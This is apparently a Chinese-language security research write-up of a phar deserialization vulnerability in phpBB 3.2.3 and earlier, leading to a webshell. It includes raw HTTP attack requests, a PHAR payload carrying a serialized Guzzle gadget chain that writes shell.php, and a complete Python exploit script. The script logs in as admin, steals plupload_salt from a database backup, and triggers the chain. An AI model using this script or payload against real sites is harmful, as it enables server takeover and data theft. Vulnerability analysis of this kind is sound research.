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在phpBB v3.2.3及以前的版本中,控制管理面板设置路径的$_REQUEST['config']参数过滤不严格,和不严谨的switch语句,引发获取webshell的严重安全问题。

漏洞简介

攻击者若通过社工,弱口令,钓鱼等方式拥有控制管理面板权限,可先前台上传恶意附件,再进入后台控制管理面板利用设置中对路径的验证的功能,结合PHP phar 反序列化进行php对象注入,构造可用的恶意攻击链,获取Webshell。

漏洞条件

  • phpBB v3.2.3及以前的版本
  • 进入控制管理面板的权限

漏洞详情

漏洞关键

先看触发php phar反序列化漏洞的核心代码如下:

文件位置:phpBB3/includes/functions_acp.php::validate_config_vars

通过file_exists函数判断$path是否存在,此处若可以被我们上传PHAR归档包,文件路径若被我们可知可控,就可以通过phar://协议进行反序列化攻击。

漏洞分析

触发点分析

首先是载入的时候调用acp_attachments->main()方法

文件位置:phpBB3/includes/acp/acp_attachments.php

关键函数为validate_config_vars函数,第一个参数为$display_vars['vars']来自上文的系统配置定义:

第二个参数通过$_REQUEST接收,post发送数组参数config,被赋值成为$cfg_array

两个参数传入validate_config_vars函数,继续跟进。

文件位置:phpBB3/includes/functions_acp.php

进入函数后使用foreach$config_vars进行遍历,键名为$config_name,键值为$config_definition

先对$cfg_array进行判断,也就是post数组中必须有和系统配置数组相同的键名的数组;然后又对键值的判断是否存在$config_definition['validate']。两个条件需要同时满足,不满足就跳过此变量循环,存在就对$config_definition['validate']进行分割为数组,并取第0个参数传进switch进行匹配,可以发现利用点在wpath分支里:

满足上文两条件并且$validator[$type]==wpath才能进入分支,对系统配置数组进行筛选,暂时发现只有键名为upload_path的数组满足条件。

但是在进入路径判断前有一个三元运算

$path = in_array($config_definition['validate'], array('wpath', 'path', 'rpath', 'rwpath')) ? $phpbb_root_path . $cfg_array[$config_name] : $cfg_array[$config_name];

经过判断$config_definition['validate']在数组之中,所以会走第一个分支,$cfg_array[$config_name]就是post数组变量,此处可控,但是会和$phpbb_root_path进行拼接。
文件位置:phpBB3/adm/index.php

因此拼接后的$path会变成./../xxxxxxxxxx,路径出错无法利用,如下。

但是这里的整个switch语句犯了一个较为低级的错误,部分条件的语句段没有使用break进行结束。

switch执行方式:开始时没有代码被执行。仅当一个 case语句中的值和 switch表达式的值匹配时 PHP 才开始执行语句,直到switch的程序段结束或者遇到第一个break 语句为止。如果不在case的语句段最后写上break的话,PHP 将继续执行下一个case中的语句段。

因此需要在$config_vars找到一个元素$config_definition,并且$config_definition['validate']等于absolute_path或者absolute_path_writable或者path,这样就能即进入wpath执行也不增加$path的前缀

使用如下代码过滤:

foreach ($display_vars['vars'] as $key =>$value){
    if (($value['validate'] === 'absolute_path') or ($value['validate'] === 'absolute_path_writable') or ($value['validate'] === 'path')){
        print('66'.$key.'77');
    }
}

发现img_imagick元素满足条件:

进入控制面板的附件设定,提交并该修改数据包

数据包如下,关键点为config[img_imagick]参数:

POST /phpBB3/adm/index.php?i=acp_attachments&mode=attach&sid=385d5172c29a3a9530d6b467a5691ffd HTTP/1.1
Host: bugtest.com
User-Agent: python-requests/2.21.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 967

config%5Ballow_attachments%5D=1&config%5Ballow_pm_attach%5D=0&config%5Bupload_path%5D=files&config%5Bdisplay_order%5D=0&config%5Battachment_quota%5D=50&attachment_quota=mb&config%5Bmax_filesize%5D=256&max_filesize=kb&config%5Bmax_filesize_pm%5D=256&max_filesize_pm=kb&config%5Bmax_attachments%5D=3&config%5Bmax_attachments_pm%5D=1&config%5Bsecure_downloads%5D=0&config%5Bsecure_allow_deny%5D=1&config%5Bsecure_allow_empty_referer%5D=1&config%5Bcheck_attachment_content%5D=1&config%5Bimg_display_inlined%5D=1&config%5Bimg_create_thumbnail%5D=0&config%5Bimg_max_thumb_width%5D=400&config%5Bimg_min_thumb_filesize%5D=12000&config%5Bimg_imagick%5D=phar://../files/plupload/c2f830acec21b6d3a45ff0f5b3f35273_5de5caf862ea58bbb27aff231f06c7f3zip.part/&config%5Bimg_max_width%5D=0&config%5Bimg_max_height%5D=0&config%5Bimg_link_width%5D=0&config%5Bimg_link_height%5D=0&submit=Submit&ips=&ipexclude=0&creation_time=1552465991&form_token=0910a5dc9a13fc50a0ead4656617642fa80daaf1

此时已经可以触发反序列化,还需上传包含利用链的恶意附件。

上传恶意附件

上传位置为前台发帖附件处:

处理文件上传的关键函数,以及函数调用栈:

文件位置:phpBB3/phpbb/plupload/plupload.php

在这里函数handle_upload可以实现多个chunk处理。$this->request->variable函数根据键名从请求中获取值,首先获取chunks的值,并判断chunk是否小于2,如果小于就直接返回,如果大于就开始进行多chunk处理。

然后进入关键的temporary_filepath函数:

这个就是计算上传文件路径的函数,$this->temporary_directory可知为./files/plupload$file_name可控,\phpbb\files\filespec::get_extension($file_name)获取文件的后缀同样可控,比较麻烦的是$this->config['plupload_salt']存在于数据库中,但可以在管理面板中通过备份进行获取。

plupload_salt如下

此时已经完全可以计算路径

./files/plupload/c2f830acec21b6d3a45ff0f5b3f35273_5de5caf862ea58bbb27aff231f06c7f3zip

然后进入函数进行文件写入

中途会产生一个临时文件,但后面会删除,最后文件名还会增加.part后缀。

./files/plupload/c2f830acec21b6d3a45ff0f5b3f35273_5de5caf862ea58bbb27aff231f06c7f3zip.part

攻击数据包如下:

POST /phpBB3/posting.php?mode=post&f=2&sid=a3f8b226bd4ad508d8838284c0cfc332 HTTP/1.1
Host: bugtest.com
Content-Length: 1909
Origin: http://bugtest.com
x-requested-with: XMLHttpRequest
x-phpbb-using-plupload: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuHMhmTMPyBMwbiEg
Accept: */*
Referer: http://bugtest.com/phpBB3/posting.php?mode=post&f=2&sid=52c63bf06fdeaef60de9b8fba1de97ad
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryuHMhmTMPyBMwbiEg
Content-Disposition: form-data; name="name"

rai4over.zip
------WebKitFormBoundaryuHMhmTMPyBMwbiEg
Content-Disposition: form-data; name="chunk"

0
------WebKitFormBoundaryuHMhmTMPyBMwbiEg
Content-Disposition: form-data; name="chunks"

3
------WebKitFormBoundaryuHMhmTMPyBMwbiEg
Content-Disposition: form-data; name="add_file"

Add the file
------WebKitFormBoundaryuHMhmTMPyBMwbiEg
Content-Disposition: form-data; name="real_filename"

payload.phar.zip
------WebKitFormBoundaryuHMhmTMPyBMwbiEg
Content-Disposition: form-data; name="attachment_data[0][attach_id]"

16
------WebKitFormBoundaryuHMhmTMPyBMwbiEg
Content-Disposition: form-data; name="attachment_data[0][is_orphan]"

1
------WebKitFormBoundaryuHMhmTMPyBMwbiEg
Content-Disposition: form-data; name="attachment_data[0][real_filename]"

payload.zip
------WebKitFormBoundaryuHMhmTMPyBMwbiEg
Content-Disposition: form-data; name="attachment_data[0][attach_comment]"


------WebKitFormBoundaryuHMhmTMPyBMwbiEg
Content-Disposition: form-data; name="attachment_data[0][filesize]"

35802
------WebKitFormBoundaryuHMhmTMPyBMwbiEg
Content-Disposition: form-data; name="fileupload"; filename="payload.phar.zip"
Content-Type: application/zip

<?php __HALT_COMPILER(); ?>
ÕO:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:41:"GuzzleHttp\Cookie\FileCookieJarfilename";s:42:"/Applications/MAMP/htdocs/phpBB3/shell.php";s:52:"GuzzleHttp\Cookie\FileCookieJarstoreSessionCookies";b:1;s:36:"GuzzleHttp\Cookie\CookieJarcookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:33:"GuzzleHttp\Cookie\SetCookiedata";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:18:"<?php phpinfo();?>";}}}s:39:"GuzzleHttp\Cookie\CookieJarstrictMode";N;}test.txtöìˆ\~ضtest¨~ê’÷z]©ägž­4GBMB
------WebKitFormBoundaryuHMhmTMPyBMwbiEg--

至此我们已经对上传文件路径内容可知可控,还恶意文件中的利用链。

利用链

利用PHP网络请求插件Guzzle完成反序列化利用。

文件位置:phpBB3/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php

析构函数调用save函数,最后使用file_put_contents完成文件写入,整个漏洞利用完成。

利用脚本

# coding =utf-8

import requests
from bs4 import BeautifulSoup
import re

proxies = {
    "http": "http://127.0.0.1:8080",
}

import hashlib


def md5(str):
    m = hashlib.md5()
    m.update(str.encode("utf8"))
    return m.hexdigest()


if __name__ == '__main__':
    target = "http://bugtest.com/phpBB3"
    admin_account = 'admin'
    admin_pwd = '123456'
    phar_payload = 'payload.phar.zip'
    upfilename = 'rai4over.zip'

    r = requests.Session()
    data = {
        'username': admin_account,
        'password': admin_pwd,
        'login': 'Login'
    }
    print('Start logging in to the administrator account')
    rs = r.post(target + '/ucp.php?mode=login', data=data)
    html = rs.text

    if ('header-profile dropdown-container' in html) and ("class=\"username-coloured\">" + admin_account in html):
        print('OK! The administrator account is successfully logged in')
    else:
        exit('No! Login failed . Probably because of the verification code')

    soup = BeautifulSoup(html, "html.parser")
    input = soup.find('input', attrs={'name': 'sid'})
    sid = input['value']

    file = {
        'fileupload': open(phar_payload, "rb").read()

    }
    data = {
        'name': upfilename,
        'chunk': 0,
        'chunks': 3,
        'add_file': 'Add the file',
        'real_filename': 'payload.phar.zip'
    }
    rs = r.post(target + '/posting.php?mode=post&f=2&sid=' + sid, files=file, data=data)
    if 'jsonrpc' not in rs.text:
        exit('Upload fail')
    else:
        print('Uploading malicious file successfully')

    Admin_Control = target + '/adm/index.php?sid=' + sid
    print("Get Administration Control Panel URL :" + Admin_Control)

    rs = r.get(Admin_Control)
    html = rs.text
    soup = BeautifulSoup(html, "html.parser")
    input = soup.find('input', attrs={'type': 'password'})
    passwd_id = input['id']
    credential = soup.find('input', attrs={'name': 'credential'})
    credential = credential['value']
    data = {
        'username': admin_account,
        passwd_id: admin_pwd,
        'login': 'Login',
        'redirect': './../adm/index.php',
        'credential': credential
    }
    rs = r.post(target + '/adm/index.php?sid=' + sid, data=data)
    html = rs.text
    if '<title>ACP index</title>' in html:
        print('Administration Control Panel login successful')

    soup = BeautifulSoup(html, "html.parser")
    div = soup.find('div', attrs={'id': 'page-header'})
    sid = div.a['href'][-32:]

    rs = r.get(target + '/adm/index.php?i=acp_database&mode=backup&sid=' + sid)
    html = rs.text
    soup = BeautifulSoup(html, "html.parser")
    input = soup.find('input', attrs={'name': 'form_token'})
    form_token = input['value']
    input = soup.find('input', attrs={'name': 'creation_time'})
    creation_time = input['value']

    data = "type=data&method=text&where=download&table%5B%5D=phpbb_config&submit=Submit&creation_time={creation_time}&form_token={form_token}".format(
        creation_time=creation_time, form_token=form_token)
    rs = r.post(target + '/adm/index.php?i=acp_database&mode=backup&action=download&sid=' + sid, data=data,
                headers={"Content-Type": "application/x-www-form-urlencoded", "Connection": "close",
                         "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3"})
    html = rs.text
    if 'phpBB Backup Script' in html:
        print('Database download succeeded')
        matchObj = re.search(r"\('plupload_salt', '(.*?)', 0\)", html, re.M | re.I)
        if matchObj:
            plupload_salt = matchObj.group(1)
            print('Get the plupload_salt successfully :{plupload_salt}'.format(plupload_salt=plupload_salt))
        else:
            exit('Get the plupload_salt failed')
    else:
        exit('Database download failed')
    print('Calculate the name of the phar')

    name = "{plupload_salt}_{md5name}zip.part".format(plupload_salt=plupload_salt, md5name=md5(upfilename))

    rs = r.get(target + '/adm/index.php?i=acp_attachmenpartts&mode=attach&sid=' + sid)
    html = rs.text
    soup = BeautifulSoup(html, "html.parser")
    input = soup.find('input', attrs={'name': 'form_token'})
    form_token = input['value']
    print("Get form_token from Attachment settings:{form_token}".format(form_token=form_token))

    data = "config%5Ballow_attachments%5D=1&config%5Ballow_pm_attach%5D=0&config%5Bupload_path%5D=files&config%5Bdisplay_order%5D=0&config%5Battachment_quota%5D=50&attachment_quota=mb&config%5Bmax_filesize%5D=256&max_filesize=kb&config%5Bmax_filesize_pm%5D=256&max_filesize_pm=kb&config%5Bmax_attachments%5D=3&config%5Bmax_attachments_pm%5D=1&config%5Bsecure_downloads%5D=0&config%5Bsecure_allow_deny%5D=1&config%5Bsecure_allow_empty_referer%5D=1&config%5Bcheck_attachment_content%5D=1&config%5Bimg_display_inlined%5D=1&config%5Bimg_create_thumbnail%5D=0&config%5Bimg_max_thumb_width%5D=400&config%5Bimg_min_thumb_filesize%5D=12000&config%5Bimg_imagick%5D={upfile}&config%5Bimg_max_width%5D=0&config%5Bimg_max_height%5D=0&config%5Bimg_link_width%5D=0&config%5Bimg_link_height%5D=0&submit=Submit&ips=&ipexclude=0&creation_time=1552465991&form_token={form_token}".format(
        form_token=form_token,
        upfile='phar://../files/plupload/' + name)
    rs = r.post(target + '/adm/index.php?i=acp_attachments&mode=attach&sid=' + sid, data=data)
    print('Get webshell succeeded')

参考链接:

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